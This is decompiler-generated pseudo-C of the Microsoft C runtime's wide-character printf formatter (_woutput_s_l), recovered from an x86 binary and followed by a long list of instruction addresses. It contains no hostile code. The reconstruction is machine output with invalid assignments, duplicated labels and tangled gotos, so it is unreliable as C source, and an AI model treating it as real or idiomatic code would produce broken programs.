															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															__edx =  *(__ebp + 0x14);
															__eax =  *(__edx - 8);
															__ecx =  *(__edx - 4);
															 *(__ebp - 0x490) =  *(__edx - 8);
															 *(__ebp - 0x48c) =  *(__edx - 4);
															__ecx = __ebp - 0x40;
															_push(E0041AE60(__ebp - 0x40));
															__edx =  *(__ebp - 0x2c);
															_push( *(__ebp - 0x2c));
															__eax =  *(__ebp - 0x30);
															_push( *(__ebp - 0x30));
															__ecx =  *(__ebp - 0x454);
															_push( *(__ebp - 0x454));
															__edx =  *(__ebp - 0x44);
															_push( *(__ebp - 0x44));
															__eax =  *(__ebp - 4);
															_push( *(__ebp - 4));
															__ecx = __ebp - 0x490;
															_push(__ebp - 0x490);
															__edx =  *0x440374; // 0xf86dff92
															E004246D0(__edx) =  *__eax();
															__esp = __esp + 0x1c;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
															__eflags =  *(__ebp - 0x10) & 0x00000080;
															if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AE60(__ebp - 0x40));
																	__ecx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__edx =  *0x440380; // 0xa86dfc78
																	E004246D0(__edx) =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__eax =  *(__ebp - 0x454) & 0x0000ffff;
															__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
															if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AE60(__ebp - 0x40));
																	__edx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__eax =  *0x44037c; // 0x886dfc7f
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__ecx =  *(__ebp - 4);
															__edx =  *( *(__ebp - 4));
															__eflags =  *( *(__ebp - 4)) - 0x2d;
															if( *( *(__ebp - 4)) == 0x2d) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																__ecx =  *(__ebp - 4);
																__ecx =  *(__ebp - 4) + 1;
																__eflags = __ecx;
																 *(__ebp - 4) = __ecx;
															}
															__edx =  *(__ebp - 4);
															 *(__ebp - 0x24) = E0041DE30( *(__ebp - 4));
															do {
																L187:
																if( *(_t600 - 0x28) != 0) {
																	goto L212;
																}
																goto L188;
															} while ( *(__ebp - 0x4ec) > 0x37);
															goto L66;
														}
														L123:
														__eax =  *(__ebp - 0x454) & 0x0000ffff;
														__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
														if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
															goto L125;
														}
														L124:
														 *(__ebp - 0x30) = 1;
														goto L127;
													}
													L121:
													 *(__ebp - 0x30) = 6;
													goto L127;
												case 6:
													L69:
													 *(__ebp - 0xc) = 1;
													__ebp + 0x14 = E00428370(__ebp + 0x14);
													 *(__ebp - 0x458) = __ax;
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) & 0x00000020;
													__eflags = __ecx;
													if(__ecx == 0) {
														 *(__ebp - 0x448) =  *(__ebp - 0x458);
													} else {
														 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
														 *(__ebp - 0x470) = __dl;
														 *((char*)(__ebp - 0x46f)) = 0;
														__ecx = __ebp - 0x40;
														__eax = E0041AE60(__ebp - 0x40);
														__ecx = __ebp - 0x40;
														E0041AE60(__ebp - 0x40) =  *__eax;
														__ecx =  *(__ebp - 0x448 + 0xac);
														__edx = __ebp - 0x470;
														__eax = __ebp - 0x448;
														__eax = E0043B5A0(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
														__eflags = __eax;
														if(__eax < 0) {
															 *(__ebp - 0x28) = 1;
														}
													}
													__edx = __ebp - 0x448;
													 *(__ebp - 4) = __ebp - 0x448;
													 *(__ebp - 0x24) = 1;
													while(1) {
														L187:
														if( *(_t600 - 0x28) != 0) {
															goto L212;
														}
														goto L188;
													}
												case 7:
													L140:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 8) = 0xa;
													goto L150;
												case 8:
													goto L0;
												case 9:
													L148:
													 *(__ebp - 8) = 8;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000200;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L150;
												case 0xa:
													L142:
													 *(__ebp - 0x30) = 8;
													goto L143;
												case 0xb:
													L84:
													__eflags =  *(__ebp - 0x30) - 0xffffffff;
													if( *(__ebp - 0x30) != 0xffffffff) {
														__edx =  *(__ebp - 0x30);
														 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
													} else {
														 *(__ebp - 0x4f0) = 0x7fffffff;
													}
													__eax =  *(__ebp - 0x4f0);
													 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
													__ecx = __ebp + 0x14;
													 *(__ebp - 4) = E00428370(__ebp + 0x14);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
													__eflags =  *(__ebp - 0x10) & 0x00000020;
													if(( *(__ebp - 0x10) & 0x00000020) == 0) {
														L98:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__ecx =  *0x440f84; // 0x404438
															 *(__ebp - 4) = __ecx;
														}
														 *(__ebp - 0xc) = 1;
														__edx =  *(__ebp - 4);
														 *(__ebp - 0x480) =  *(__ebp - 4);
														while(1) {
															L101:
															__eax =  *(__ebp - 0x47c);
															__ecx =  *(__ebp - 0x47c);
															__ecx =  *(__ebp - 0x47c) - 1;
															 *(__ebp - 0x47c) = __ecx;
															__eflags =  *(__ebp - 0x47c);
															if( *(__ebp - 0x47c) == 0) {
																break;
															}
															L102:
															__edx =  *(__ebp - 0x480);
															__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
															__eflags =  *( *(__ebp - 0x480)) & 0x0000ffff;
															if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																break;
															}
															L103:
															 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
															 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
														}
														L104:
														__edx =  *(__ebp - 0x480);
														__edx =  *(__ebp - 0x480) -  *(__ebp - 4);
														__eflags = __edx;
														 *(__ebp - 0x24) = __edx;
														goto L105;
													} else {
														L88:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__eax =  *0x440f80; // 0x404448
															 *(__ebp - 4) = __eax;
														}
														__ecx =  *(__ebp - 4);
														 *(__ebp - 0x478) = __ecx;
														 *(__ebp - 0x24) = 0;
														while(1) {
															L92:
															__eax =  *(__ebp - 0x24);
															__eflags =  *(__ebp - 0x24) -  *(__ebp - 0x47c);
															if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																break;
															}
															L93:
															__ecx =  *(__ebp - 0x478);
															__edx =  *__ecx;
															__eflags =  *__ecx;
															if( *__ecx == 0) {
																break;
															}
															L94:
															__ecx = __ebp - 0x40;
															E0041AE60(__ebp - 0x40) =  *(__ebp - 0x478);
															__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
															__eax = E00431230( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478));
															__eflags = __eax;
															if(__eax != 0) {
																__edx =  *(__ebp - 0x478);
																__edx =  *(__ebp - 0x478) + 1;
																__eflags = __edx;
																 *(__ebp - 0x478) = __edx;
															}
															 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
															 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
															__edx =  *(__ebp - 0x24);
															__edx =  *(__ebp - 0x24) + 1;
															__eflags = __edx;
															 *(__ebp - 0x24) = __edx;
														}
														L97:
														L105:
														while(1) {
															L187:
															if( *(_t600 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
													}
												case 0xc:
													L141:
													 *(__ebp - 8) = 0xa;
													goto L150;
												case 0xd:
													L144:
													 *(__ebp - 0x460) = 0x27;
													L145:
													 *(__ebp - 8) = 0x10;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx = 0x30;
														 *((short*)(__ebp - 0x14)) = __dx;
														 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
														__eflags =  *(__ebp - 0x460) + 0x51;
														 *(__ebp - 0x12) = __ax;
														 *(__ebp - 0x1c) = 2;
													}
													L150:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
													__eflags =  *(__ebp - 0x10) & 0x00008000;
													if(( *(__ebp - 0x10) & 0x00008000) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
														__eflags =  *(__ebp - 0x10) & 0x00001000;
														if(( *(__ebp - 0x10) & 0x00001000) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
															__eflags =  *(__ebp - 0x10) & 0x00000020;
															if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	__eax = E00428370(__ebp + 0x14);
																	__edx = 0;
																	__eflags = 0;
																	 *(__ebp - 0x4a0) = __eax;
																	 *(__ebp - 0x49c) = 0;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E00428370(__ebp + 0x14);
																	asm("cdq");
																	 *(__ebp - 0x4a0) = __eax;
																	 *(__ebp - 0x49c) = __edx;
																}
															} else {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	E00428370(__ebp + 0x14) = __ax & 0x0000ffff;
																	asm("cdq");
																	 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																	 *(__ebp - 0x49c) = __edx;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E00428370(__ebp + 0x14);
																	__ax = __eax;
																	asm("cdq");
																	 *(__ebp - 0x4a0) = __eax;
																	 *(__ebp - 0x49c) = __edx;
																}
															}
														} else {
															__eax = __ebp + 0x14;
															 *(__ebp - 0x4a0) = E00428390(__ebp + 0x14);
															 *(__ebp - 0x49c) = __edx;
														}
													} else {
														__ecx = __ebp + 0x14;
														 *(__ebp - 0x4a0) = E00428390(__ebp + 0x14);
														 *(__ebp - 0x49c) = __edx;
													}
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) == 0) {
														L167:
														__ecx =  *(__ebp - 0x4a0);
														 *(__ebp - 0x4a8) =  *(__ebp - 0x4a0);
														__edx =  *(__ebp - 0x49c);
														 *(__ebp - 0x4a4) =  *(__ebp - 0x49c);
														goto L168;
													} else {
														L163:
														__eflags =  *(__ebp - 0x49c);
														if(__eflags > 0) {
															goto L167;
														}
														L164:
														if(__eflags < 0) {
															L166:
															 *(__ebp - 0x4a0) =  ~( *(__ebp - 0x4a0));
															__edx =  *(__ebp - 0x49c);
															asm("adc edx, 0x0");
															__edx =  ~( *(__ebp - 0x49c));
															 *(__ebp - 0x4a8) =  ~( *(__ebp - 0x4a0));
															 *(__ebp - 0x4a4) =  ~( *(__ebp - 0x49c));
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															L168:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
															__eflags =  *(__ebp - 0x10) & 0x00008000;
															if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																__eflags =  *(__ebp - 0x10) & 0x00001000;
																if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																	__edx =  *(__ebp - 0x4a8);
																	__eax =  *(__ebp - 0x4a4);
																	__eax =  *(__ebp - 0x4a4) & 0x00000000;
																	__eflags = __eax;
																	 *(__ebp - 0x4a4) = __eax;
																}
															}
															__eflags =  *(__ebp - 0x30);
															if( *(__ebp - 0x30) >= 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																__eflags =  *(__ebp - 0x30) - 0x200;
																if( *(__ebp - 0x30) > 0x200) {
																	 *(__ebp - 0x30) = 0x200;
																}
															} else {
																 *(__ebp - 0x30) = 1;
															}
															 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
															__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
															if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
																 *(__ebp - 0x1c) = 0;
															}
															__eax = __ebp - 0x249;
															 *(__ebp - 4) = __ebp - 0x249;
															while(1) {
																L178:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L180;
																}
																L179:
																 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
																__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
																if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
																	goto L183;
																}
																L180:
																__eax =  *(__ebp - 8);
																asm("cdq");
																__ecx =  *(__ebp - 0x4a4);
																__edx =  *(__ebp - 0x4a8);
																__eax = E004307A0( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8),  *(__ebp - 0x4a8));
																 *(__ebp - 0x494) = __eax;
																__eax =  *(__ebp - 8);
																asm("cdq");
																__eax =  *(__ebp - 0x4a4);
																__ecx =  *(__ebp - 0x4a8);
																 *(__ebp - 0x4a8) = E00430820( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8), __edx);
																 *(__ebp - 0x4a4) = __edx;
																__eflags =  *(__ebp - 0x494) - 0x39;
																if( *(__ebp - 0x494) > 0x39) {
																	__edx =  *(__ebp - 0x494);
																	__edx =  *(__ebp - 0x494) +  *(__ebp - 0x460);
																	__eflags = __edx;
																	 *(__ebp - 0x494) = __edx;
																}
																__eax =  *(__ebp - 4);
																 *( *(__ebp - 4)) =  *(__ebp - 0x494);
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																L178:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L180;
																}
																goto L179;
															}
														}
														L165:
														__eflags =  *(__ebp - 0x4a0);
														if( *(__ebp - 0x4a0) >= 0) {
															goto L167;
														}
														goto L166;
													}
												case 0xe:
													while(1) {
														L187:
														if( *(_t600 - 0x28) != 0) {
															goto L212;
														}
														goto L188;
													}
											}
										case 8:
											L24:
											__ecx =  *(__ebp - 0x10);
											__ecx =  *(__ebp - 0x10) | 0x00000002;
											 *(__ebp - 0x10) = __ecx;
											goto L27;
										case 9:
											L25:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											goto L27;
										case 0xa:
											L23:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
											goto L27;
										case 0xb:
											L22:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											goto L27;
										case 0xc:
											L26:
											__eax =  *(__ebp - 0x10);
											__eax =  *(__ebp - 0x10) | 0x00000008;
											__eflags = __eax;
											 *(__ebp - 0x10) = __eax;
											goto L27;
										case 0xd:
											L27:
											goto L214;
									}
								} else {
									_t574 = 0;
									if(0 == 0) {
										 *(_t600 - 0x4dc) = 0;
									} else {
										 *(_t600 - 0x4dc) = 1;
									}
									 *(_t600 - 0x46c) =  *(_t600 - 0x4dc);
									if( *(_t600 - 0x46c) == 0) {
										_push(L"(\"Incorrect format specifier\", 0)");
										_push(0);
										_push(0x460);
										_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
										_push(2);
										_t501 = L0041E390();
										_t603 = _t603 + 0x14;
										if(_t501 == 1) {
											asm("int3");
										}
									}
									L14:
									if( *(_t600 - 0x46c) != 0) {
										goto L16;
									} else {
										 *((intOrPtr*)(L00422E80(_t546))) = 0x16;
										E00422C10(_t534, _t546, _t598, _t599, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
										 *(_t600 - 0x4c8) = 0xffffffff;
										E0041AE30(_t600 - 0x40);
										_t486 =  *(_t600 - 0x4c8);
										goto L225;
									}
								}
							}
							L215:
							if( *(_t600 - 0x45c) == 0) {
								L218:
								 *(_t600 - 0x4f8) = 1;
								L219:
								_t574 =  *(_t600 - 0x4f8);
								 *(_t600 - 0x4bc) =  *(_t600 - 0x4f8);
								if( *(_t600 - 0x4bc) == 0) {
									_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
									_push(0);
									_push(0x8f5);
									_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
									_push(2);
									_t491 = L0041E390();
									_t603 = _t603 + 0x14;
									if(_t491 == 1) {
										asm("int3");
									}
								}
								if( *(_t600 - 0x4bc) != 0) {
									 *(_t600 - 0x4d4) =  *(_t600 - 0x44c);
									E0041AE30(_t600 - 0x40);
									_t486 =  *(_t600 - 0x4d4);
								} else {
									 *((intOrPtr*)(L00422E80(_t538))) = 0x16;
									E00422C10(_t534, _t538, _t598, _t599, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
									 *(_t600 - 0x4d0) = 0xffffffff;
									E0041AE30(_t600 - 0x40);
									_t486 =  *(_t600 - 0x4d0);
								}
								goto L225;
							}
							L216:
							if( *(_t600 - 0x45c) == 7) {
								goto L218;
							}
							L217:
							 *(_t600 - 0x4f8) = 0;
							goto L219;
						}
					} else {
						L113:
						 *((intOrPtr*)(L00422E80(__ecx))) = 0x16;
						__eax = E00422C10(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
						 *(__ebp - 0x4cc) = 0xffffffff;
						__ecx = __ebp - 0x40;
						__eax = E0041AE30(__ecx);
						__eax =  *(__ebp - 0x4cc);
						L225:
						return E0042BCD0(_t486, _t534,  *(_t600 - 0x48) ^ _t600, _t574, _t598, _t599);
					}
					L115:
					if(( *(_t600 - 0x10) & 0x00000020) == 0) {
						 *( *(_t600 - 0x484)) =  *(_t600 - 0x44c);
					} else {
						 *( *(_t600 - 0x484)) =  *(_t600 - 0x44c);
					}
					 *(_t600 - 0x28) = 1;
					goto L187;
				}
			}

0x0043c10a
0x0043c10a
0x0043c10a
0x0043c10a
0x0043c10a
0x0043c10a
0x0043c10e
0x0043c113
0x0043c116
0x0043c123
0x00000000
0x00000000
0x0043c129
0x0043c129
0x0043c12b
0x0043c139
0x0043c12d
0x0043c12d
0x0043c12d
0x0043c143
0x0043c149
0x0043c156
0x0043c158
0x0043c15d
0x0043c15f
0x0043c164
0x0043c169
0x0043c16b
0x0043c170
0x0043c176
0x0043c178
0x0043c178
0x0043c176
0x0043c180
0x0043c1c8
0x0043c6c0
0x0043c6c0
0x0043c6c4
0x00000000
0x00000000
0x0043c6ca
0x0043c6d0
0x0043c6da
0x0043c6f4
0x0043c70e
0x0043c715
0x0043c719
0x0043c719
0x0043c6f6
0x0043c6fb
0x0043c6ff
0x0043c6ff
0x0043c6dc
0x0043c6e1
0x0043c6e5
0x0043c6e5
0x0043c6da
0x0043c729
0x0043c735
0x0043c74b
0x0043c750
0x0043c750
0x0043c766
0x0043c76b
0x0043c774
0x0043c77c
0x0043c792
0x0043c797
0x0043c797
0x0043c77c
0x0043c79e
0x0043c858
0x0043c86b
0x0043c870
0x00000000
0x0043c7a4
0x0043c7a4
0x0043c7a8
0x00000000
0x00000000
0x0043c7ae
0x0043c7b1
0x0043c7ba
0x0043c7c0
0x0043c7c0
0x0043c7cf
0x0043c7d7
0x00000000
0x00000000
0x0043c7d9
0x0043c7dc
0x0043c801
0x0043c806
0x0043c809
0x0043c816
0x0043c824
0x0043c837
0x0043c83c
0x0043c84b
0x00000000
0x0043c84b
0x0043c818
0x0043c818
0x00000000
0x0043c818
0x0043c856
0x0043c873
0x0043c87a
0x0043c882
0x0043c898
0x0043c89d
0x0043c89d
0x0043c882
0x0043c87a
0x0043c8a0
0x0043c8a4
0x0043c8ac
0x0043c8b1
0x0043c8b4
0x0043c8b4
0x0043c8bb
0x0043c8bb
0x0043ba3b
0x0043ba42
0x0043ba4f
0x0043ba54
0x00000000
0x0043ba67
0x0043ba71
0x0043ba98
0x0043ba7f
0x0043ba90
0x0043ba90
0x0043ba71
0x0043baa2
0x0043baa8
0x0043bab4
0x0043bab7
0x0043bac5
0x0043bac8
0x0043bad5
0x0043bb7a
0x0043bb80
0x0043bb8d
0x00000000
0x00000000
0x0043bb93
0x0043bb99
0x00000000
0x0043bba0
0x0043bba0
0x0043bbba
0x0043bbbf
0x00000000
0x00000000
0x0043bbc7
0x0043bbc7
0x0043bbce
0x0043bbd1
0x0043bbd4
0x0043bbd7
0x0043bbda
0x0043bbdd
0x0043bbe0
0x0043bbe7
0x0043bbee
0x00000000
0x00000000
0x0043bbfa
0x0043bbfa
0x0043bc01
0x0043bc0d
0x0043bc10
0x0043bc16
0x0043bc1d
0x00000000
0x00000000
0x0043bc1f
0x0043bc25
0x0043bc25
0x0043bc2c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bc70
0x0043bc70
0x0043bc77
0x0043bc7a
0x0043bca4
0x0043bca7
0x0043bca7
0x0043bcb1
0x0043bcb1
0x0043bcb5
0x0043bc7c
0x0043bc7c
0x0043bc88
0x0043bc8b
0x0043bc8f
0x0043bc91
0x0043bc94
0x0043bc94
0x0043bc97
0x0043bc9a
0x0043bc9d
0x0043bc9f
0x0043bc9f
0x0043bca2
0x0043bcb8
0x00000000
0x00000000
0x0043bcbd
0x0043bcbd
0x00000000
0x00000000
0x0043bcc9
0x0043bcc9
0x0043bcd0
0x0043bcd3
0x0043bcf3
0x0043bcf6
0x0043bcf6
0x0043bd00
0x0043bd00
0x0043bd04
0x0043bcd5
0x0043bcd5
0x0043bce1
0x0043bce4
0x0043bce8
0x0043bcea
0x0043bcea
0x0043bcf1
0x00000000
0x00000000
0x0043bd0c
0x0043bd0c
0x0043bd13
0x0043bd1f
0x0043bd22
0x0043bd28
0x0043bd2f
0x0043be42
0x00000000
0x0043be42
0x0043bd35
0x0043bd3b
0x0043bd3b
0x0043bd42
0x00000000
0x0043bd79
0x0043bd79
0x0043bd7c
0x0043bd7f
0x0043bd82
0x0043bda9
0x0043bda9
0x0043bdac
0x0043bdaf
0x0043bdb2
0x0043bdd6
0x0043bdd6
0x0043bdd9
0x0043bddc
0x0043bddf
0x0043be18
0x0043be29
0x00000000
0x0043be29
0x0043bde1
0x0043bde1
0x0043bde4
0x0043bde7
0x0043bdea
0x00000000
0x00000000
0x0043bdec
0x0043bdec
0x0043bdef
0x0043bdf2
0x0043bdf5
0x00000000
0x00000000
0x0043bdf7
0x0043bdf7
0x0043bdfa
0x0043bdfd
0x0043be00
0x00000000
0x00000000
0x0043be02
0x0043be02
0x0043be05
0x0043be08
0x0043be0b
0x00000000
0x00000000
0x0043be0d
0x0043be0d
0x0043be10
0x0043be13
0x0043be16
0x0043be1a
0x00000000
0x0043be1a
0x00000000
0x0043be16
0x0043bdb4
0x0043bdb4
0x0043bdb7
0x0043bdbb
0x0043bdbe
0x00000000
0x0043bdc0
0x0043bdc3
0x0043bdc6
0x0043bdcc
0x0043bdd1
0x00000000
0x0043bdd1
0x0043bdbe
0x0043bd84
0x0043bd84
0x0043bd87
0x0043bd8b
0x0043bd8e
0x00000000
0x0043bd90
0x0043bd93
0x0043bd96
0x0043bd9c
0x0043bda1
0x00000000
0x0043bda1
0x00000000
0x0043be2b
0x0043be2b
0x0043be2e
0x0043be31
0x00000000
0x00000000
0x0043bd49
0x0043bd49
0x0043bd4c
0x0043bd4f
0x0043bd52
0x0043bd6b
0x0043bd6e
0x0043bd6e
0x0043bd71
0x0043bd54
0x0043bd54
0x0043bd57
0x0043bd5a
0x0043bd60
0x0043bd66
0x0043bd66
0x00000000
0x00000000
0x0043be36
0x0043be36
0x0043be39
0x0043be39
0x0043be3f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043be47
0x0043be47
0x0043be4e
0x0043be54
0x0043be5a
0x0043be5d
0x0043be63
0x0043be6a
0x00000000
0x0043c6c0
0x0043c6c0
0x0043c6c0
0x0043c6c0
0x0043c6c4
0x00000000
0x00000000
0x00000000
0x0043c6c4
0x0043c677
0x0043c67d
0x0043c680
0x0043c683
0x0043c686
0x0043c689
0x0043c68f
0x0043c68f
0x0043c68f
0x0043c697
0x0043c69b
0x00000000
0x00000000
0x0043c69d
0x0043c69d
0x0043c6a0
0x0043c6a3
0x0043c6a3
0x0043c6a8
0x0043c6ab
0x0043c6ae
0x0043c6b1
0x0043c6b4
0x0043c6b7
0x0043c6ba
0x0043c6ba
0x0043c6bd
0x0043c6c0
0x0043c6c0
0x0043c6c4
0x00000000
0x00000000
0x00000000
0x0043c6c4
0x0043c6c0
0x0043be70
0x0043be76
0x0043be76
0x0043be7d
0x00000000
0x0043c201
0x0043c201
0x0043c20f
0x0043c20f
0x0043c212
0x00000000
0x00000000
0x0043be84
0x0043be87
0x0043be87
0x0043be8d
0x0043be8f
0x0043be92
0x0043be92
0x0043be95
0x0043be95
0x00000000
0x00000000
0x0043bfca
0x0043bfcd
0x0043bfcd
0x0043bfd2
0x0043bfd4
0x0043bfd7
0x0043bfd7
0x0043bfda
0x0043bfda
0x00000000
0x00000000
0x0043c3cd
0x0043c3cd
0x00000000
0x00000000
0x0043bf34
0x0043bf34
0x0043bf40
0x0043bf46
0x0043bf4d
0x0043bf5b
0x0043bf5b
0x0043bf61
0x0043bf64
0x0043bf70
0x0043bfc5
0x00000000
0x0043bfc5
0x0043bf4f
0x0043bf4f
0x0043bf55
0x0043bf59
0x0043bf78
0x0043bf78
0x0043bf7e
0x0043bfa6
0x0043bfad
0x0043bfb3
0x0043bfb6
0x0043bfb9
0x0043bfbf
0x0043bfc2
0x0043bf80
0x0043bf80
0x0043bf86
0x0043bf89
0x0043bf8c
0x0043bf92
0x0043bf95
0x0043bf98
0x0043bf9a
0x0043bf9d
0x0043bf9d
0x00000000
0x0043bf7e
0x00000000
0x00000000
0x0043c219
0x0043c21c
0x0043c21f
0x0043c222
0x0043c228
0x0043c22b
0x0043c232
0x0043c236
0x0043c241
0x0043c241
0x0043c245
0x0043c25c
0x0043c25c
0x0043c263
0x0043c265
0x0043c265
0x0043c26c
0x0043c26c
0x0043c273
0x0043c281
0x0043c284
0x0043c293
0x0043c296
0x0043c29a
0x0043c2af
0x0043c29c
0x0043c29c
0x0043c29f
0x0043c2a5
0x0043c2aa
0x0043c2aa
0x0043c29a
0x0043c2b9
0x0043c2bc
0x0043c2bf
0x0043c2c2
0x0043c2c5
0x0043c2c8
0x0043c2ce
0x0043c2d4
0x0043c2dc
0x0043c2dd
0x0043c2e0
0x0043c2e1
0x0043c2e4
0x0043c2e5
0x0043c2ec
0x0043c2ed
0x0043c2f0
0x0043c2f1
0x0043c2f4
0x0043c2f5
0x0043c2fb
0x0043c2fc
0x0043c30b
0x0043c30d
0x0043c313
0x0043c313
0x0043c318
0x0043c31a
0x0043c31e
0x0043c320
0x0043c328
0x0043c329
0x0043c32c
0x0043c32d
0x0043c33c
0x0043c33e
0x0043c33e
0x0043c31e
0x0043c341
0x0043c348
0x0043c34b
0x0043c350
0x0043c350
0x0043c356
0x0043c358
0x0043c360
0x0043c361
0x0043c364
0x0043c365
0x0043c373
0x0043c375
0x0043c375
0x0043c356
0x0043c378
0x0043c37b
0x0043c37e
0x0043c381
0x0043c386
0x0043c38b
